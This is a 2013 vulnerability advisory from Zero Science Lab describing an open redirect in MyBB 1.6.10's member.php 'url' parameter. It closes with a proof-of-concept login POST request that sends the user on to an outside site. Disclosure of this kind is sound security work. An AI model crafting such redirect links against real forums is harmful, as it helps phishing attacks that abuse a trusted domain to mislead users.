MyBB 1.6.10 'url' Parameter Arbitrary Site Redirection Vulnerability


Vendor: MyBB Group
Product web page: http://www.mybb.com
Affected version: 1.6.10

Summary: MyBB, also known as MyBBoard or MyBulletinBoard, is a powerful,
efficient, and free forum package, developed using PHP and MySQL.

Desc: Input passed via the 'url' parameter in 'member.php' script is not
properly verified before being used to redirect users. This can be exploited
to redirect a user to an arbitrary website e.g. when a user clicks a specially
crafted link to the affected script hosted on a trusted domain.


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.7
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5152
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5152.php


02.08.2013

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POST /mybb/member.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/mybb/index.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

action=do_login&url=http://www.zeroscience.mk&quick_login=1&quick_username=admin&quick_password=admin&submit=Login&quick_remember=yes